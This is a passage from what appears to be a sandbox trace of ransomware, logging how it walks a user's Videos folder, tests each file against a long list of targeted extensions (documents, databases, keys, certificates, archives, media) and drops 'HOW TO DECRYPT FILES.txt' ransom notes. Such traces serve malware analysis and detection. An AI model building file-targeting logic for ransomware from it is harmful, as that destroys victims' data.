pszSpec="*.eml") returned 0 [0091.347] lstrlenA (lpString="*.eml") returned 5 [0091.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.pst") returned 0 [0091.347] lstrlenA (lpString="*.pst") returned 5 [0091.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.ost") returned 0 [0091.347] lstrlenA (lpString="*.ost") returned 5 [0091.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.idx") returned 0 [0091.347] lstrlenA (lpString="*.idx") returned 5 [0091.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.dbx") returned 0 [0091.347] lstrlenA (lpString="*.dbx") returned 5 [0091.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.sql") returned 0 [0091.347] lstrlenA (lpString="*.sql") returned 5 [0091.347] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.mdb") returned 0 [0091.347] lstrlenA (lpString="*.mdb") returned 5 [0091.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.fdb") returned 0 [0091.348] lstrlenA (lpString="*.fdb") returned 5 [0091.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.wab") returned 0 [0091.348] lstrlenA (lpString="*.wab") returned 5 [0091.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.dat") returned 0 [0091.348] lstrlenA (lpString="*.dat") returned 5 [0091.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.txt") returned 0 [0091.348] lstrlenA (lpString="*.txt") returned 5 [0091.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.jpeg") returned 0 [0091.348] lstrlenA (lpString="*.jpeg") returned 6 [0091.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.jpg") returned 0 [0091.348] lstrlenA (lpString="*.jpg") returned 5 [0091.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.png") returned 0 [0091.348] lstrlenA (lpString="*.png") returned 5 [0091.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.php") returned 0 [0091.348] lstrlenA (lpString="*.php") returned 5 [0091.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.cs") returned 0 [0091.348] lstrlenA (lpString="*.cs") returned 4 [0091.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.cpp") returned 0 [0091.348] lstrlenA (lpString="*.cpp") returned 5 [0091.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.rar") returned 0 [0091.348] lstrlenA (lpString="*.rar") returned 5 [0091.348] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.zip") returned 0 [0091.348] lstrlenA (lpString="*.zip") returned 5 [0091.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.html") returned 0 [0091.349] lstrlenA (lpString="*.html") returned 6 [0091.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.htm") returned 0 [0091.349] lstrlenA (lpString="*.htm") returned 5 [0091.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.xlsx") returned 0 [0091.349] lstrlenA (lpString="*.xlsx") returned 6 [0091.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.xls") returned 0 [0091.349] lstrlenA (lpString="*.xls") returned 5 [0091.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.mp4") returned 0 [0091.349] lstrlenA (lpString="*.mp4") returned 5 [0091.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.ppt") returned 0 [0091.349] lstrlenA (lpString="*.ppt") returned 5 [0091.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.pptx") returned 0 [0091.349] lstrlenA (lpString="*.pptx") returned 6 [0091.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.doc") returned 0 [0091.349] lstrlenA (lpString="*.doc") returned 5 [0091.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.dot") returned 0 [0091.349] lstrlenA (lpString="*.dot") returned 5 [0091.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.docx") returned 0 [0091.349] lstrlenA (lpString="*.docx") returned 6 [0091.349] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.7z") returned 0 [0091.350] lstrlenA (lpString="*.7z") returned 4 [0091.350] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.tar") returned 0 [0091.350] lstrlenA (lpString="*.tar") returned 5 [0091.350] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.bz2") returned 0 [0091.350] lstrlenA (lpString="*.bz2") returned 5 [0091.350] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.gz") returned 0 [0091.350] lstrlenA (lpString="*.gz") returned 4 [0091.350] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.mkv") returned 0 [0091.350] lstrlenA (lpString="*.mkv") returned 5 [0091.350] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.eml") returned 0 [0091.350] lstrlenA (lpString="*.eml") returned 5 [0091.350] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.msg") returned 0 [0091.350] lstrlenA (lpString="*.msg") returned 5 [0091.350] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.edb") returned 0 [0091.350] lstrlenA (lpString="*.edb") returned 5 [0091.350] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.accdb") returned 0 [0091.350] lstrlenA (lpString="*.accdb") returned 7 [0091.351] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.odb") returned 0 [0091.351] lstrlenA (lpString="*.odb") returned 5 [0091.351] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.java") returned 0 [0091.351] lstrlenA (lpString="*.java") returned 6 [0091.351] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.asm") returned 0 [0091.351] lstrlenA (lpString="*.asm") returned 5 [0091.351] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.pfx") returned 0 [0091.351] lstrlenA (lpString="*.pfx") returned 5 [0091.351] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.pem") returned 0 [0091.351] lstrlenA (lpString="*.pem") returned 5 [0091.351] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.p12") returned 0 [0091.351] lstrlenA (lpString="*.p12") returned 5 [0091.351] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.gpg") returned 0 [0091.351] lstrlenA (lpString="*.gpg") returned 5 [0091.351] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.vsd") returned 0 [0091.351] lstrlenA (lpString="*.vsd") returned 5 [0091.352] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.odg") returned 0 [0091.352] lstrlenA (lpString="*.odg") returned 5 [0091.352] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.raw") returned 0 [0091.352] lstrlenA (lpString="*.raw") returned 5 [0091.352] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.nef") returned 0 [0091.352] lstrlenA (lpString="*.nef") returned 5 [0091.352] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.svg") returned 0 [0091.352] lstrlenA (lpString="*.svg") returned 5 [0091.352] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.psd") returned 0 [0091.352] lstrlenA (lpString="*.psd") returned 5 [0091.352] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.vmx") returned 0 [0091.352] lstrlenA (lpString="*.vmx") returned 5 [0091.352] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.vmdk") returned 0 [0091.352] lstrlenA (lpString="*.vmdk") returned 6 [0091.352] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.vdi") returned 0 [0091.352] lstrlenA (lpString="*.vdi") returned 5 [0091.352] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.lay6") returned 0 [0091.352] lstrlenA (lpString="*.lay6") returned 6 [0091.352] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.mpeg") returned 0 [0091.352] lstrlenA (lpString="*.mpeg") returned 6 [0091.352] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.djvu") returned 0 [0091.353] lstrlenA (lpString="*.djvu") returned 6 [0091.353] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.tiff") returned 0 [0091.353] lstrlenA (lpString="*.tiff") returned 6 [0091.353] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.backup") returned 0 [0091.353] lstrlenA (lpString="*.backup") returned 8 [0091.353] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.pdf") returned 0 [0091.353] lstrlenA (lpString="*.pdf") returned 5 [0091.353] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.cert") returned 0 [0091.353] lstrlenA (lpString="*.cert") returned 6 [0091.353] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.docm") returned 0 [0091.353] lstrlenA (lpString="*.docm") returned 6 [0091.353] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.xlsm") returned 0 [0091.353] lstrlenA (lpString="*.xlsm") returned 6 [0091.353] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.dwg") returned 0 [0091.353] lstrlenA (lpString="*.dwg") returned 5 [0091.353] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.nd") returned 0 [0091.353] lstrlenA (lpString="*.nd") returned 4 [0091.353] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.tlg") returned 0 [0091.353] lstrlenA (lpString="*.tlg") returned 5 [0091.353] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.lgb") returned 0 [0091.353] lstrlenA (lpString="*.lgb") returned 5 [0091.353] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.mov") returned 0 [0091.353] lstrlenA (lpString="*.mov") returned 5 [0091.353] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.xdw") returned 0 [0091.353] lstrlenA (lpString="*.xdw") returned 5 [0091.353] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.ods") returned 0 [0091.354] lstrlenA (lpString="*.ods") returned 5 [0091.354] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.wav") returned 0 [0091.354] lstrlenA (lpString="*.wav") returned 5 [0091.354] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.mp3") returned 0 [0091.354] lstrlenA (lpString="*.mp3") returned 5 [0091.354] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.aiff") returned 0 [0091.354] lstrlenA (lpString="*.aiff") returned 6 [0091.354] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.flac") returned 0 [0091.354] lstrlenA (lpString="*.flac") returned 6 [0091.354] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.m4a") returned 0 [0091.354] lstrlenA (lpString="*.m4a") returned 5 [0091.354] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi", pszSpec="*.csv") returned 0 [0091.354] lstrlenA (lpString="*.csv") returned 5 [0091.354] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dd31ee0, ftCreationTime.dwHighDateTime=0x1d5e54e, ftLastAccessTime.dwLowDateTime=0xe4b44150, ftLastAccessTime.dwHighDateTime=0x1d5deab, ftLastWriteTime.dwLowDateTime=0xe4b44150, ftLastWriteTime.dwHighDateTime=0x1d5deab, nFileSizeHigh=0x0, nFileSizeLow=0x63ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="mhA5fiA.flv", cAlternateFileName="")) returned 1 [0091.354] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0091.354] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mhA5fiA.flv") returned -1 [0091.354] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mhA5fiA.flv") returned -1 [0091.354] lstrcmpiA (lpString1="", lpString2="mhA5fiA.flv") returned -1 [0091.354] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JApC_YtgsOvpA4MvOdb.avi") returned="JApC_YtgsOvpA4MvOdb.avi" [0091.354] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0091.354] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="" [0091.354] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HOW TO DECRYPT FILES.txt" [0091.354] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\how to decrypt files.txt")) returned 0x20 [0091.355] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\", lpString2="mhA5fiA.flv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv" [0091.355] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.ems") returned 0 [0091.355] lstrlenA (lpString="*.ems") returned 5 [0091.355] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.db") returned 0 [0091.355] lstrlenA (lpString="*.db") returned 4 [0091.355] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.dbf") returned 0 [0091.355] lstrlenA (lpString="*.dbf") returned 5 [0091.355] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.myox") returned 0 [0091.355] lstrlenA (lpString="*.myox") returned 6 [0091.355] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.myo") returned 0 [0091.355] lstrlenA (lpString="*.myo") returned 5 [0091.355] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.qbw") returned 0 [0091.355] lstrlenA (lpString="*.qbw") returned 5 [0091.355] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.qbb") returned 0 [0091.355] lstrlenA (lpString="*.qbb") returned 5 [0091.355] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.qbm") returned 0 [0091.355] lstrlenA (lpString="*.qbm") returned 5 [0091.355] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.qbo") returned 0 [0091.355] lstrlenA (lpString="*.qbo") returned 5 [0091.355] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.qbx") returned 0 [0091.355] lstrlenA (lpString="*.qbx") returned 5 [0091.355] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.qba") returned 0 [0091.355] lstrlenA (lpString="*.qba") returned 5 [0091.355] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.qby") returned 0 [0091.355] lstrlenA (lpString="*.qby") returned 5 [0091.355] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.qbj") returned 0 [0091.355] lstrlenA (lpString="*.qbj") returned 5 [0091.355] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.ofx") returned 0 [0091.356] lstrlenA (lpString="*.ofx") returned 5 [0091.356] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.qif") returned 0 [0091.356] lstrlenA (lpString="*.qif") returned 5 [0091.356] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.mye") returned 0 [0091.356] lstrlenA (lpString="*.mye") returned 5 [0091.356] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.mbox") returned 0 [0091.356] lstrlenA (lpString="*.mbox") returned 6 [0091.356] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.eml") returned 0 [0091.356] lstrlenA (lpString="*.eml") returned 5 [0091.356] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.pst") returned 0 [0091.356] lstrlenA (lpString="*.pst") returned 5 [0091.356] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.ost") returned 0 [0091.356] lstrlenA (lpString="*.ost") returned 5 [0091.356] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.idx") returned 0 [0091.356] lstrlenA (lpString="*.idx") returned 5 [0091.356] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.dbx") returned 0 [0091.356] lstrlenA (lpString="*.dbx") returned 5 [0091.356] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.sql") returned 0 [0091.356] lstrlenA (lpString="*.sql") returned 5 [0091.356] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.mdb") returned 0 [0091.356] lstrlenA (lpString="*.mdb") returned 5 [0091.356] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.fdb") returned 0 [0091.356] lstrlenA (lpString="*.fdb") returned 5 [0091.356] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.wab") returned 0 [0091.356] lstrlenA (lpString="*.wab") returned 5 [0091.357] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.dat") returned 0 [0091.357] lstrlenA (lpString="*.dat") returned 5 [0091.357] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.txt") returned 0 [0091.357] lstrlenA (lpString="*.txt") returned 5 [0091.357] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.jpeg") returned 0 [0091.357] lstrlenA (lpString="*.jpeg") returned 6 [0091.357] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.jpg") returned 0 [0091.357] lstrlenA (lpString="*.jpg") returned 5 [0091.357] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.png") returned 0 [0091.357] lstrlenA (lpString="*.png") returned 5 [0091.357] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.php") returned 0 [0091.357] lstrlenA (lpString="*.php") returned 5 [0091.357] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.cs") returned 0 [0091.357] lstrlenA (lpString="*.cs") returned 4 [0091.357] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.cpp") returned 0 [0091.357] lstrlenA (lpString="*.cpp") returned 5 [0091.357] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.rar") returned 0 [0091.357] lstrlenA (lpString="*.rar") returned 5 [0091.357] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.zip") returned 0 [0091.357] lstrlenA (lpString="*.zip") returned 5 [0091.357] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.html") returned 0 [0091.357] lstrlenA (lpString="*.html") returned 6 [0091.357] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.htm") returned 0 [0091.358] lstrlenA (lpString="*.htm") returned 5 [0091.358] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.xlsx") returned 0 [0091.358] lstrlenA (lpString="*.xlsx") returned 6 [0091.358] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.xls") returned 0 [0091.358] lstrlenA (lpString="*.xls") returned 5 [0091.358] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mhA5fiA.flv", pszSpec="*.mp4") returned 0 [0091.358] lstrlenA (lpString="*.mp4") returned 5 [0091.358] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 